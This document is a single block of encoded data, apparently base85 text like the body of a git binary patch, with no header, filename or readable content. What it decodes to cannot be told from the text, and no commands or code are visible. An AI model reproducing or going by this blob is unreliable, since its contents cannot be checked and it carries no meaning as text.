z8r|c`oyOPR!^&*(Yr#jK4Gsc>+Z@{n729|W$s$Wq{|*wlhi4%Y()rmu-8t7>=OK?x zhndo6&K5=Rc+bhwMdA24UVo@NCEKvi6K%oPeOIm0N4fz*G9Zb8?ZS3$)D>IwM}2a* z#zM7`$amId{Mqtvp~F6bPP!2oLEJ4p?t7o8%|0O0TWSv^K04nNiWJhPEMR|>Z~d_r zr>%}<-VyeQHYD>tbqN7gyuq%B-{(Crb)I3c-i?#UFg)A z(zYO&mPdv+O-!j z3W~@h7$DP6!{T-sQX|W-@N(pX0(NVKi&`6S>7*n~Vrp}qmDs$oo?#CW7{1Z%h;^N! zuuwLAW2@6u)`}+%i6&aB96r@0LE5LfZkEQEM!Qiu<$YbO9^79*8MBtCgobH${=jEw{m{X+?FT#Ehy1YkLJ6{2 zhUIUw6#}Gdw)sQuSXtfHs95B_y8ii`(ZQkUnKY!0qS3^t+^FmGlCb)xWy9@x!WKk^ z0(x>Lh)w;}SzVv=#QRdIf`d2GYiJ3b91Hm2G5G4EkRFCjWg?%!#*M8Kcuz{v?b%Y~ z_&_Av*bVPqpuiAK$QX^c72klu^iG%ov@Vysj)@U}2g9mux!lCr)#in3N*L6%jiP+w z#$MqK_fXz-G#Oq8wUtqCc;!G@vk~?;k%Y*qz5{}mSD2&cwNR4xLB2kc?#+*9eX}sR zYW}+S%_2$Liu2lbHzVDtyLZ&4A=OG`rSq~A`0i3%etn(ZUWc}~eRSviEEaCjExL~| zP~YLA$-R9A?>}qzl)VYd738wMH1<|}EEXofy6|>3e`T+tAC902b2~XQ5viuPVKHD}E>>u$dy&S0u%`iXmb_%)B!qT-qP0GtSJ&UPmhZN&0lg>7Y}aS`5ik z;{XT3r4&u2RX~_B5Wq&oTwm2stF$XElNQ51mGMhQ0F_E-KV-kiQW%YT^H4AyEC`Qg zYK87d?9J%veQ9?o5dNZhw(XVPowQnhP5j~YQrwoF49T49g3gUv*|rft>8sVxm$r}u zNI;~2D@4-Lq=;BovF)f^|n_WP<@sLU2+OzFOLe)NqM>J zzYb>EoG$XZL8k@eN|_gFZy*=?fP&frw8$vaJT`yqw-Iaj1BD+ET7@fjppg;)5FRNO zw@2U|Wfzj)7h!>m)tvw`M=d~6V@i25BFGo0j|EPDXp*c4LZ=9@E*yaYy&+%_4oUlS zU{m#9ki7r)Rjl`-KSUm_Or6gCeH&kuGCltT)n^!ZqnAyp^!FE%!;7ZVx%gHlTt~_Dne2i*O{=BeGRK-%t_=>rF?c3uR`%DN6gW6tZ%2||xuo{S9 zv;xsVN~ZXD5^RR$V74^!KpYCKgtlw&xZXvh^V)y<#jbXv1&Eu?F1$T7uE~(hmO%Iu zw*WQIG$CV^f7V3*8%F6D2tK`F+oJlv!Ir<*+V2jtpxzHvtwij(iiJl`>k|0 zyreg(rWaZh_N}>DY%j6%uQ1?&hUpj|IQ3EkS1c1$0^iBu{5XiYKQ9nR$aT3EII%xH=Xf zq^OhgzLE)(Et$0Z`Yf{`$<~d4T-eSitkMY#06Q8Tug(t47JmDg4Q4zwoA_mB26zWA z&L(Iw`sL7!>Foh(8VHoh*cIB70g0{^)VHKS%W^7!T8-ns-NXM3*UFf(pdRP3`qRh% z%fI`d5Z-_Iw}V-zXM^322RzOH2p0Z7`0bz`7W?u>!IM32)&KP!{TJTzi2Y80gk;Ec z=s#_u{u_Y(&))S&2kim$;$6Sz{J;E?fBHp8s({iZa`EK#|NUEe$Ac!Y@#W!M)&C|0 z|K~gZkMF2VB*-=+S=9|+{_o%F|9`ap51!rsZ#`Orcz(ccS-k${Vk|!Gq zAE;}-*MIvh02PaklgIAPD!$sDC_$V|e~6^u2D<)ce)mZ8tb73fH1KrJlLv=Vkev%i zx*cB^DZO%}2gF@Ee=57`Zzgd%x&|zLV8`ls$7?0Q&<^WE!?Es61)%u`-MM>zIY|5` zN=**|$n>F?>!Aq-mPvS>hqxDl7eY2b&(92uSQ(Cgc``OjnxHR232Yz$v$9}sFCrdX7PlDs>DD-p z7?rDH+UighCMsVdz`ZS;7xZrD>!jA6hwIr}dV_j?sffmHhHo2iDbEpjTM`&cosp53 z1XuQ{U?e!;OM9~)B;D33QV9gDHjcleHu^*W2|;}4lt75up^Z=q!^N@aNC*ujG}R(B zZA1Ja^hC<*Y=6!*Gz67im=$%^$l$M? zWNcT2P3-@s=J-#!#BWXm)vgws?>z@|Q9m%e7{;XoRj1kY@wmoUZ^v`6wj3abC(1l` z>9JKvh9`ZsZ?`nqr(B&h^6C$oO*JAA0Sq8Md@+v@ZQ1j^z09A4`p_}|0??2@%E-ZI z4N{BZ>9>@Rs2k2F>cW8tu05y-+xsnLKcVUs)cVLqdG&Jr&Gn_*M4}LC7`;E>dm~_1 zn%4GUKxu5U4(~ zr%p@^8TKQ6ub3WKgjk=>``-TA$oWd@76hJHL26J!JKO^5KV4Dd#b)sEuO*<+dJJhP z{fsBZel>7=H2~Rgh_Ub`+M;hudS6uYx)wK*Ej7Mee|f{1ho zC28F{F#}};B{sAY$R6(l;(JGeU!E0cvBRffK?TW#(0rmJuYb9M@(@QI;)cKmX{;kO zw3?_juDI7}$2!4M&1^88ju$fyS zGZG2cL!yEVI|*rn+{20onYOJhQ9VQ0x&VNEgjL7(C%_5X+Xro>Kd7@GAMMRInI&6_ zcSh3DnSg8H1$DRrTdk$_2w$dqJ(%wgS^GwauD+#o$fIGvmoNbf7cxhL5Oj;hkEr~G znlP2l{-QtT{ssR#%AeA9kH>eH)@ zwM4U( zR+`I2oqWHpS2fXe@LzGzt|$i0!PbhrHO``HMh(hw-@~u-kZ3$AuxRWd0-C8sAAfP` z)&$Uc@`5N@ZE|7-ge1eg$vW#)%awdj5J7YuQiblbu3P@Dg09;Wyud(+yW-l}`$Bx` zm0sFcXFIpYrXb4&qH!bXP%X?WnHSkbl`a>!X(Sy{x`mwPG6m2a=h>n8-*@leUEAti z;G|Kco!6(TJz&81o^l>}Ha_-cc2^+ktketS`o#)|6dr*o3ENCATqleU>x-jOzFMxm z#T(aY?YcFRV$+#bXa>!Tnkv^--E!{^m5byeiO60dWeYuI(DY#VVLnK+LZ3Kv(kwb_`eN6z9);SEIku=R;t3!2T{5eTHn+43kK zEBO$Kza)Ld+$ZVTq@@;j(Cr(JefLs>ZZ)}3!r1zLDz*E`pQ_fB3NNb-VcXWYy~tY; ziPI@@GX&If11TBdb9lXv=)A=}#OL~;ip!I{vmHig@pTDXATB|=w@2q+3=J~r^q{rV zcu^+&$nVit8NC1r6om6R5`9Q~2$Nua&OkUSYK zsC!%|Kn`LP3!)LBTv|T~lD=YiK#hc8-bGm?++KV|&{5dD7vK3TT$F$3Xzai#$@V{V)Z5EMi=Tl!DayKMcST>HW8SPM$V78INW#$G&-PSu`f7l)sahr>!K zgX-Q!AOawORJQ13khZ!g%ijnJ$fCHAA1%;_S-4z)e2f4qkl5u_3a((!v9s2XN`0&5 zarvOE85jcL78F*#Y^-aHxO+Qkl}RR6!E@iTgKhaWY8 zl|QuOa3}8R(Mgbd$#nrA?-z(H!Y;b~hwsXLz`~t>I`E-7AUL&O3}y?YyFKeX&XWM? z<^Zw-Ym3_eM5d56O}w78X#j&!MSy``_4`C)S1b?-HQa$T_u>hN_jK(_P>;-mK`FkA zf}_54u<(Qc6@k-?DJcUx?bQ+f03?LnKZ@Ho=g_&`<$`yLxx;BdU_er8|M%T!@$2rV z7&H$fs|?x75hyDz1Sr9OR(bM&mjbuE`>)*6x7H%8PTaPHoyVhW2R{c%fmC+YFR%>X zj$H925CAF9*n#YHq>CcGzUd(R1Ns!>wF{A^1JUIM&p0s5{yotwApaF{p0n2kAimAS ztcZljtlDP_VbjCs zqxjwe9TQ4)ka>Ul(AqY8uUsP#@jc(rxe1+(zy9aKfV*F!{r9CP^A%5{C_U7a|j#S)g3 z5W8BNJ*a>(n5$wsjkj@e;!zMpOq#v@V$oquMSAGx8-|;EeXxfZTDu|cVyn6lct$2< zYH?%VHlEny7KG4~B7rv@OjhsZ6OZB1`5Y;q-Lyvr1>G1B8#Nr7>03?Kv}l~3YfW6{ zo(5i~7X{1ari#tnWZ||L=tozkG%h%iUgboS4p*QoH47_U^%KW_UFsoliO@ z{WvxL-RZU2ndXj^3FV>5*;y>s>C^M7b0ivKp)e6vLkk>NTJkVVu`#V{bzepkLcT!B%g;WjmG)adULia z&>O!Ms6R-@-#p$ANXo@lLffa;u;qjtVRzDNj z3_xO`W(!V;rVb{YdC2sAL0_FYDRaa!0$Xu6D?*H8o}|emd>@T%+A{D^2wqe3g$;}~ z)zr%G^gOo|iS^wwoX@9QO|#GU0#Rf0lCp5&EYkjNG^Q*KI<>`p?Ub*4)M=roQ|l7` zLN(^5b+WW6f{(2DQ{Ffvf3Sq%Cd_(_4?AqYdn{ZRXb+`9Ua0rd{`e5`G58&U|vb*$rBPCTg%? zK$G$*HY#^k>?r|+>d|}OAKRVOPHL$Bc-Yd2sC@&-eQwadSdUs5!M%W@e=IL}1B)b3 zd38hv+2Np6ADN*GRS-))VCdy0joZ>0h^L^ zo}B(Fr(Ex;J1xI0I}RH_3R92!K5IpP{N$)2tQeMr6jS{2F^aQ7dP>0iLmDd&&Hy_a z?L`8=oJ8OtzriH=texk(Q;D9~v_b{Vi?`yKDX|NJ@zSP@nDSf(+dTPwg#{$TTu<-0;O$rt#CWV=ZS7_ke@YhK_UlKz z^jR~03(9k(I(RUkk^KD%bTb51g$?eCL*5k}VL{MU_Z}VG$My}`yF;CWFV{D-JsaRG zVcwVI^v&boTuyD?#_oaJnO;S{ENy1h_ElD03)Kgghm$KSl+Q!Goce>e)RD9^ER@sDku0$7^b?vcfVM1 z(0p-Jcua)Xp%6yRsmu=h}DcuDV<16);oA*1yGmu=|{bQzC27GoTp9ulyiy5c2&0~)@f zwXf8Ok(zEl9@{d==r3TGd(R&o60Kyq(qR@4qfq|&(TN8w^bLdvp}OcrLC3aj^sr5D z%)zcRI5Lmj%UWFYDU+5G;q$W|2~8UjxM(nj`q#MNOU6uW)4(7D{!Cxywcq?~X2YbZ z_eaiQ)LP60Cy2Oez!J-D%~s9CX34#HxZ&Rh`SlyM^x`Jb03fz4#s?7x0S*vhh(bo1 zJ*9d_!*Agd^~>Ib8i98ztu>=qnSX6E@tCT}85#jNO|Hr3x&*@9@oIFsg+ zx7t5&TjTQ-Q$jOvR^{1tn7<>Y%BA5NgrfG&D+Sju1dOz0d`X*XWvZMhEw)I1HzlkZ z?aniPf1yVY(BX?H%U7`%rbHC}R(PBb(1UG0#@hCft=*0mLDPm4_e9AU7C`sh{4V3R z29%RaV!rl+vj9KbJnfO%OVQ-*^`12-R8SzO;z^F4L4a1!i`brsq9+uZLYb zK01e6_HtZ5%W8~TOKVJM+y|~fq1U#xQlF?hvfu1mY%32uwDqga(Xi^1#Yw1Ag}>JW zd@$wnJWfVgLWXdkM`R8U)2}(MwTNi#P0Q0qg|$fAJ_4sEN9wHDD7N_MwbTQDA(+Uo z=)bVkua+p7p235C#3VsTajx6>F?(2DRVsStF#U=mkjxe{nzNIDd&OLldzXHm!>It^ zTU?a_NHZS@UFaEL)GH6q1TR6bUrX4u=bxDCbRtXnkw0x~H*$_EVK8#IJW~vV({rvp z^MbxYzW~$_fs?7|orgO;BGOqvhS-?f?oU%clGu8IztK#5b z!=E_0Ut~KV=5jkmS5=4~2wifG1U04AntX9h#%h@xe;;ky=y(=>yd(hUeMZi2di$#- z^X@yegvb`to0E5Er_}?D<1^A;OT4Yl#H$Q7N*1fYrO8dIK}s(ZN4!wg|0|0e5pwzM zDiyCedFA@Hnb))5j$7u%L8qO*q==)i23?%3$I@X3JL>w?Zph{rB|2rk{oIdeLSPN-1`4On^qnkI9v-YAsId5!qP=sEpr z%^BDMS=-)qjhodG|x=VA#=s7X~w8Fs9ryg*+1Qv{0BQB2AYvl0XFb{i` zf$%ONnCP#}i9m1IYl1!Ip}&TR?H4-i#nkc20HA5iRPijcI>p2xI1qAHE_4 zf}`v&dy)B><(&TNx8s^KV;cSMuJGa`ru)qy@L^ao%+3$-T_rAT#<3Hbx$x21%g=W$ zd4d&7#&JkFDVBHbiR08`1y2O_sn z?E^I}PwP=Ut*J$RH-#1QRO_cYa;WJ`s>n`SN#D%df~ ztKQULe(Typk%bwVhLKNvdg7@VsTidObsf&y{3Jxf)*_lD(np`51-*gs*pDfQL~)TJ zmrc(V(SIMt3&@kp#r<%WiuQbqVa!KeLKyxEW&wsHO&1%`Ha6-SCxnp-qz!KhFTs?K zK_+C`@9qt1em=6F!l;|E!|+ixVg7wqrQY`EVJKJkdobzntCe4FKAekKkxg@!dQEka z$o#IicQRhA`=0jEIOaZ52&OIN{h&n^#|%3YovRpQH(p92a#7Y7@+R>iMUX4Z2}((f zY%EoQr0IW|qHB9NY8CR}>8-3Wo2Ek6g&g%KdS;4G!fg~Op-RClW9*besCF~!%s$0a zg-`%_xw%O$V`8D3-Sp@r;E3($u66x#GVILVE_Oxs`DW^tdATU$9_)3j=J?Sp%qUie z5cxb2q9r?+6juAu)}zR2^}F>c#lj5pvKh@1MFzfEpXz{I$pE)P!+U1Tb6`kCrwe8o zSV?0yq|+qcWZvYuLJC!XH(RBG$;7|X*@IwD_&RVde5SPcFRp;&Z3cHf!k|a~yUwaE z?B(#`m$VUQ;{+H3!CP~A#QPZoWbQj@T^llEnqJiq61Q70kob9;KB~;EtFgA?G%JV^ zs2z`Lw_Xq;zw--uqz#vpT4;8SsHZ<)p~+M+ToHYB1xR#5CYPss^9bF;u8-|dtI0#f z`(frsPxh72its4(Ch{1U&zt2V1F%1MNSV+?chg1OI0ohMLbfJ%F{JQ7)|xdtJLPQRXjAH_wNhXG^~l{^@y^$GbYBB%Qk>#AS1p4PC0KQDWK6 zyEgDls%iN#Z_+3?nw}YDHBih=dGq10efW_>O?QcK(3+wKOsl3t%PBB@@6=#99S;ke zN}fT3?;Qc*CtdOV3z@dBZ*sRwjV7Gq&qpkmOFNo{{qd#4Ss^b{N#4t{ZdWFEy)8zh zdyl>v4=2UKu&Z#tHq!NRnH4~=`FfN#?tTC8n5xpq_W6um03jN!zXUm2-n_S4#jhjT z^oAxT$0#2H}BA;o`4OFVS1#7 z(#8USJi1kDTmlRHM5M(WQ#B--Ytb)88ncPr+;K`_FfQ~y0cG}DIM*u!F1a}#g2(G% z{u!ayyG8Vk`jaTm9n9$OzkoM!=Uc{~t@Pe^q{%uQxG20yS^_1ebj1>Q9x)Ah4?j6H z?;i`5rM?Wvx7!Sw<$*zzf#pTD=EL`^D}C))m}0PrxT`sM&E3#??LQX2HRkj+F^O|r<0H(**M*Dx~l~YJ~5oj;5q;5!nd8{=wBg4 z&5nfj|8IMwlS2FppO14#(xAjt{gN=6h=R2u(W^+y!Y*FX;5{>(^#aR@HcaSgs;lMf zP~^%^W@<^j0Yz{~U=$H2{LaLw5h=qXvI^Z)!Mo?hxNS3c!x6lk%m%IYQYy6ft?H9aC}-!Cwjh}3miHqGFj zrr)lZcdKj&0TRh$5ckz5h1N)yjQ=&V18@X;DmR+_yjtqvSmTgze9{3ZL( z^Vudy$x3PEn5~b zb*}7Wh`(%(77-P#Vp=u;U}aV{OZ=nA-_a*77L#gSvEoQ#hkFMKNjm@~KF*^D-s~Ph zn93Gw%kVrDJK(IH$A?dI7&W9ie#-+fX57o1^}W45URSCC9kcf`ys2jJyZg?ve&kzL z`8Il7mlW#kP+LE93F#VlRxBtokII6v>P4WlZ6%moba9Q|8%xUa@$sqkktm6kuKE1l zfWoQMlM#P88q#$GAn5Q+iZKj4YVv!EKbOvY0apHt5@~f=?0fy*%XK1MdZ0Ur>;^MO z%NcK&B-|&U^pJY-Nc|{XL7|NtLRSd77VG7D!wPkz5?MLRX80QEiG^<1^5?(u`UoD= zoBT$u@%r8rJb)4yY3kLioR>x1b!L*|4QiDLT*qmqV&qBl47<4kPW7*icy78o@3h@5 zFXk|p;k)&!`}=fTFg`4b$9_S9{L!0`zY z5y8$qzIz>BtXQv>B3jZVK54@_j&qp@F6Xa~u9A8NETm%FVvah23ZACdsYuDzez&}ps^<)mUG@8dswp-d4Xj0!&HOnaA8NvM;p!=N#FI6CRA2TpaP+zaah z2>X&G#u7~)`*X!NkQeO_C7o2rkoEf)b%=t_nTLB-YRts=V>drt2XW12>WC+14wi6R zegZ%grr#=!!=PrDK00U1-LzziXv3z%rSra;ch6Jn5?I0+@%J2*=7@6}KDC-MJsG zJ528^*r%R0xziin{w{EE174SvdtDyi)3zGt^_kn1Km4gKGFb}!Q`@!QHA$SAw) zufTaT-$l;%Hu*>H1N_uK?nRJB%o2h(W;1tBGymoEO@vC{KPnsau++Yx()aH7m-RGl z_n8zU!ql6TM`IPAEvTM|AX!=+%KBn5?tH_6pVS~0JOLZ>K7?Q7G?G@bmK&+O(c>=> zj#OP+jyBR_rjH1x66PlGL-W%dvJayZve6Ig^820p7Nl-1k2VRBa^R)jz=!M(!vb(F z)q+$K3q`V436(?OagWUPb9t`UK>1vsdeN2Yd%k$1F1{02y7fy<(&4f49<>!4=R%20 zwGiGo#YFZ{{#azsJ?9-jXQ()clUD6;S|!y7cFNxO9ZS%oBXtcd;=lObu3t=w5X9FfvKd{A6ClQbrSVOWWQ?Z|FrO&`; zLLANjFJ@;jGDdn)<-%q&EKjmsN#*;avfcGgq^qU{7Y`?s(-iX+SHxuBXYxHna0c74 zAN2OmIof}ZK+SuLuPz(*;TUu-B0=RAvS}`fsp2^ER_$@dLEtPhWIpqm zjU(V2dhlcjCqWTMr4!&>QC7vzNO3RigdE~}%?Es$ja)B7`9kZjplLxVmsPyTM!m(N zHfb`lXX5=Y5Y6fFp*A88+1JI`d*1sFedf!`TmDa-`W}Ll#H4WkM5N@;#k50eKuh#A z4^8n3-M>0%Fl9jTfk(?v!O-}NOaXYbLp7wYohJZ0Vc7Dl|AP-P4IheCvya;1I<2a8 zY{eyRRJa0En08Dm3+TdCQVQxw){H<8E-YkehZ!FH4&Dcfl3%+v1Xl#sQk?En2OcWn z7h*!W0qXa0$vZ?O4*9;kk0!V`#b1<16gNl0QD|EnP#UO09%)@z_FBrONf2RX7FiAf zH@m0)cX0SR05mndU3#F;3D463e48=F-7CY@hwx`{SWx?A=FL0NZ$i+D6kf$dVLWYx z5i-3dN=d^96Jdq!B`I`qkuG!PuGn-s{PHu5pn25DcVrY&F$pG<;?MNdWSlWmQk0-kf&A@8o{$$yWO@iJ2a0Xr|bQb%@p&djc`5R)!#IqV>dImJ!?S z??IUaCWwy}`npG)6;tW&XGu0UMK_~cmg|JMrceB=7<+lgYTq*9;?D4QsoFY!35b)b z<|8COv!cxjVSj!SJ)3mo@iLe3%)E_fImRzn{RRDZjf}Wt><+w;AfKpvIsNv^YBD>kI`rUG z2Za^avsgT5K%`KqTkxHD(`ri15 z6)2;zKrgs2M_4-Z4EdEhjJ2t*Q`Rme9tS2Ak;5~#Ao*P_WOlX$2uqsQx2sqAR&OB@ z1)Tk4BiHMtY%O~Vl6sL6BiqYHn6W_H#H}Hq_1m;M*A;6q*g!?+Zhx;9A)A(KLP=J6 zGv^N#845vFrLRlGZ9dp9n`ZqLk}5srtv~U$9V!kgY(9^(N#WLrTy@y?xo%#K<@XuB{@A`-ST!3oEBM>H#^24@Cdr9!B(~9j`+llcrt-3w@4#Fm3<)QC**XpS(oC z6C#1Oy8+Uu1P1>lZ`BiLYye5)IM)1gPNs>u!$N^K4)I(xK+x^bFkqX0?u-H0>G-v_ ziFJ}0WD3LgAWRB`Z0N~OJK5K18Il)&}s1uVCeea?^-%a6*=!d*%9-as6KgwB1Hi5)*=+gv(be{C*|sA-;sTi(445jqtmI0aBm6w$sP&vN zF!*<7=dLSLhv_T$K-@ETQ2aZZq6)Ao7X*k5;t$LTZeFFzTX(n9K+c;9X?g?hSP()N z!aiae0`BnZOBhv!w6YC~lw=R6EZMWi79qOL5h%^PK8eG=WAoHPdREm;R*2-IVfnJd z^&p2EcwvFLjE^0vs~k}=?K-B!f)YHDCi0MGTppJR_8u0X|*7LMXvPietAwK2M)WtDxC2%bHTV zZLNg!SC-bR3K$>E-N)(LYOy})9TbN~!chNRvq9@%fF(BPV_TU$YKp;TK9S#(^LGRf*OQ0A%+cN7iI8n*Z+rno zsc?N?<9p;A@KozPME^CL6vcMiBPN@@%$tgQ9W1xTl4wNa=AzTps)uxdDH0q5bS4Od zvmd)K*dcwysc}VHb#xRPS%@?1#S}30Y6Yi(j3=@cwKF$it@+YH;cxXDI_M?0(}T79 zBV~T%xVh$G>)i7|oODU-k}y>;#I@Dw5NN=4ID@=2{~=2(IQYGM-k1q|Bik0T%KVoTLusX>Y!D#IEP zfZ!QM$Vc$(b^jD$r&AGhG+EbQLS%zUsWk+C-aVPLZi(V{s>R-RPfPE_olJERywA>K z`X!$cl^Fh3Fs@GgXBl6{8=V+5#Jy!rc#OS+GHi6FIGpyF(G+;Y)6dRE~IBOS~{?q>4&NIG!B0Q zko>36_)vI#?nrG(pIGO;K=G9m$zMxOpV_w&AH$kPz2$cKSzd5%uHW}>-2&vcaOF~q zhVbcZio%zQZCX7|V?DI0%VzXqz~NKqA0hbv3t4aBIN~Q=wscKD`1IUfd-a<0PjCRN z&)}tbul<8p&2;1aUUBJGcB7*=Dj@36ISo$vp8g6@e2UVKjg6UOJVGAKB<~C5Yvx;I z87s%gW8Cm^_9ARJS(fu|x4ki;qTd84@ZT11m1I5)*}GpT7r=zR)r>JP9t1GEZGt`& z11dMq;Ec*PO*#~6=7VF_kD;1kZXq_8^kxW^6|JdLpsVn50lJ%w6AZmtRD`}kkAPX`HB{thooY-);c{L^;N&^1G?^X1 z+jkLOl^!gViUDybCnMM4RlkQ3+Ku6YN<*QIjUOtB{hp0^+R9gd@J-|-va(Kz5?Cyk3L?ulAZ^mA!Tc-D-nO z8M73IXiu<8*hkWo$K)B;SBArspD~0Mu$w>i8%_tPKD{v@1ar!SZxtq*(W$5s+U%xKyDdyVR>}1y@0Bv z#_!_25NV9}X_fKEPaQ7r!?Me2uKBo$eQI|iO6$C(JKU!igaPfLlUwWaS#Q1d0VL#Q ztYtIPJ+>0C*TT~|)GRMpRVrFf;*RxDXj{krtcE_7e5sXw#w{DI$+w=bdBpd&DV7zcw{v=vzG0hZBb^4b9?_^gm=QL9ng1E!;36~|BWrvcfsTxa1a)jaD}Qj(W9o9j z8w?IK8XS3Jt95qf9Fzg|BV+w<&pa15&Tfr4swKQxHZDqG3Nmr~^` zm%++KP+wVWL<&-RhM1aE_Vt@;3D{M)V)h|z(BRv7=P02=!LW)U?p#^X zl>T%W-sYC=LA>?sbR!4gJ}u%+li6n)=5JO!9lc9rgV-(IQZGmc)gw-4i{{m?F;xWm zF|97mGNwP;G9>X6qJQ}SKx+o|q-XTfdji!D*U=qHyk^S#MS3~%Ww7k(-#`&%)XHzc~T2Zp* z)@oMysemTN>SuegW)wv7U}mwRyXv=*En7Cxx*Q{y6nh zf%VOA0=Yrto(@&0qsd+u53x#op)iu355 zoG7ryAEywz^v(-GC8y@ZDQ1$X9_<@d_&|;Yyk~*+L>$FT>Gv960B>=)VaJ6FQVTbx z!!ry=89%89_GL}V1o-UC)4?3Ey4wQfBcq3Pi!t9u{YE@-7~@-$r%vzgFRp9JQ@*jo5i}AHwJ4OeFUJ?6J zC}a2#JLPFKGL#Gey=Sm-OEHiYC8>ZJzfzh4Vy1@yC{WdJr|P=ejxDet*Z-w-}LA!z?pE@ z2bE`-K6G}hOo&t!_+7QuK&(PzLLU%A%AZ-zt6>h1;yXyPfN=AayXSV{`_TNG#=*?G z!A8uqo9bv2usdj9M!s^1Js@}Ui9zzsv(i#ug$7;~j6`sWyiJD|=iHOijY2FkSL8-j zt0NI#Mz*CKn7+-o@yZUUXNp*>nfSrl{1hciO>Y`-Se>9)O;v z+r>yfy&ZO4!_2!LvOF(;M44b(aSfyU;XQv;%zkXu13K!`ikKckgQ?N|3qms#XZ=S{ z?bQ&9xp3m6`)L*(Vxvb-Op}$mD$Nut6IG-Rh=7EVs9uEN-Q|~$h8G_{43j2!&ggA1 z;eCO0|HPfq(-|_66?V#MA=iBAZ7VsY|$7EL^1AsdhEgv$#U9)J3zsKPI8S;2)hL5VQ zOe&C-M5;+A|l_{`MgARW&8yB(PMQlb>0MK`0_^vB;NJ(m*-_oI<@M_OC@TMU@4zC2-atFn*xa1&#b zUM2ve^q%k`{jJH?O(Ziyw!yb$%THTfdmim>@zY{G zuWQq_Z?qLW&x!=ai}g>hx+( zTX!5Td+x<>m%ei0X4Bl=!)1qEQ)yVLQtY}O;j_$9_QfnuPQE-7Oy# zfgMe4CzSn$&f$!m=xK9xE$&=0>n=_wmRfv2lD^mNd-`67kwpEiN28w)X!g(BI#0wk zHL^5h?r%DTCLj4XrC*f^t7ZoI;?q?FYUisGRIpuFECBK#!&R?JA+M-UAzMs)Yq>Ys z;X9Gd%=(AjJ2HqnIA0cRCcO54Eok7d`DWsvozGU$njsCgzwYY`&k}9weMgUpjBaV* zR@VOV@G%SxALVnVi(&Y99EOjDw)?TyBGxhVt1GRZrlGRB@4_Ff+xk`ytoTt||57O_ z+>IIurC0SUy-2;tj3O7*m!CMjJbou+V+lI-M839ZQS^0fUKOl?wvQiDg$Z$reed!~ z=d`;&c2G!vgyezV%XUA^keBmr)6Hwr8B#s{W(A#BT-&28+UEM+KTAA;SUG!qx1R7C zFyCZ0l0W#%aCL2muFaKnB+1IC9_dMbrnw6DFk5&}JKqT8AVrG##S(0GHZuPT#)8lhjTs* z6M3guL_ji|x3MB)3y@J`WW}#l#N>H$)F_WN&yIwO28^z?i7=DIjx;N0vkblPWV?J> zr7IM#EMFl^RD>rwxiGvSjP;CY9hHv`A!m{KSZSzUbsN(^;1aSKA5s!D8L}5E^n;9( zNZt^Q)p~W|3Rb*nrGeY2r)i#DbkB~R8_Kwa$E`VQ2eO$lW^ql?l#o&*ZrS@xg_`mV z4Cle#>-QwcB+uVM*dT|e%KR3d<2tE+vZ^`=0gV!8fG->k)QhYXY-uD@63m2FXslVX zGw}#ba!TgKd;p0Kyl{KiTsyB;pPv6o-~F5@v})p@RWoq(5$UtTgNHY4KS!qnyhCWW zfa|8q#hSL1sg;az;51;qwLKV2lecm|>NZ$F8Af|RuG)xUF|S;x_hSoa10s09`nG;@Fth+Bh`z|NkMzw zxATev|9*bc)ad;a*^)@p?;c-QXVXPhhF)PFO#bE0DAKU7O4Xi~Cn)xln0ePZm1|9K z%!S0@HM&E~zvz5?ddd}e`Q;o5kp}^(a$4nJ#XdhnvNuEb=Fcbvu5^ACZgj9Asa~Ns zeYw6utGjlM!ff|x1(Ljj zuZT3dQz-tj<6O%RLBDcG-UAn4=5X-%opkJIqbJ0f#XSu6m)4D3Y-z5Gcb2tK-g9GM zoCJ|HJNENN-Bd4jJ;V_?T!BPwmAZyb*qMcuNkj!_{a%2N5c83bJh(PCQQ?B{oI&Ig zq9;}C1iqxv&GVIN>OPpE_FL{lkBn+#MT0z(XGvo&bwN)+m5a^ne_6kKA+nFmgD{^(N%Eht z*l@?c>_6&4xTHRnj581D1$ekn`X`a2v9;+Qi^=x}-l#eDR6y@jmHWz6vRMF#1v!^{ z_!I4bir|yfXok1TSH0Ln!}lb1svK%;{iq=(^= zhV9_tI3@gM6@kcyivz$X*;=Wf_F9P2KrGGj%!LdocsRQH&=zz^zq*by`YFs79 z7DY)Wc4%!Aj0;)zeWBf}kkpv!mw*24P5v2`lJ_~-V@;<9-8Fe0yw?BGV0{vIlY91} z@H~-y{R%JOu#}Y3Pvsej)nW>}teDAUiPjO3ywQO}>a#&M9^;^4U3H9bm1dB&Y|U}a z$MG{vH`*bs5@|GV>tp$J!kEsuC)#yJ_|eG#yQki8k}p50lVLVqEx|C8&dR*9YDWd_ z$<>A>UBx494bXV~`uVhAQp|kWormFOUzt^92ZauEf7!^N= zcvDY59W~Hpo+^4z%~rb_WVfXe;CA|GY`2XlF>!C2@KGa`i_0I_wutv^4tQDDy-fEd zwYc73*<&8RkBeJ`DYAI>qT#*q_(sy4dcRE9CUd7myrU@2q}=!QEUpTQA)qe?RyyM7VeG)WJ=G3vII`kKa~r7$@l0O-t1uH z5^x);#*QJy=lU$|EBa?;vMGGHrIZXAMz7VL1)oC)fn<_#n_C`GC%)Xd0bFBh_BEJs zcO4~uI49Ia!XT3UQL?yvZ}5lRBridY>zaKZBfr_Dyv`4=@*A46#H>G76;Qv}NxUshXmh9rq^t#trJMHr*kU+4BeNk8edQ^&;9&QR7UY<2yaV z9q*wF{n`HhICpv)eM0H;n6HJ%Rfn>5PT@NM2e`VQ#9QVuay7hpM#8ipG4{ZH+QJ|p zHclfe?Nr`?uqTr7m|wy+aR8%dy6Aj%ZJtWug4-*isPp#@_&3Q#AIc?SS$X#k5#HCE zDN8q{6ou^i+qOt{t|~LKRPY~c8alHwvxm`lPt0Mus{3n9WaFj};zkZ+)eBihAJcQ% z;!x9_JdI8;1lE^~i!JLd)AmX^5zMt%$5UTfW zzv0}<8r|Il(RUHPe@)Lwp#{o6g_d^HuRmq##Jv#zKt^+*?wgdPkv2cQd@$<3Tz~W$ zH(G#1vz{jt!oXXJb#Nmf%ox9o9^DBrW$Zq)eo$1)1B>H z`=K287YpE^cSACu&oHFH68c-(d-5(hG`IE;s9+x>ArM57*o&lkoF`r_E(Y4% z&d&D^n-BqrL;ER+w5Zzt(EKP2k>I`Dg*5P5-W4t~o3MIu+C*C15Jb!gC`d@}a|F(Jy7_@Jj`ndkOcF`X_|H408 z>yOv@-xt?>eRp)MIge7O3F*H#fx z27u-Qs~jJkJxJlNqVk>>*Y)P=rHYtYJ=2*f_wVM;jdPLiVw2cwCLJl^XD72vV%R*V ztgc8#KRmPKPe??@Byszf9R%C@!>3CUK?!ucg&Y)rT-f$2M?b!qco!kI@N4X|Q-5#is`tag 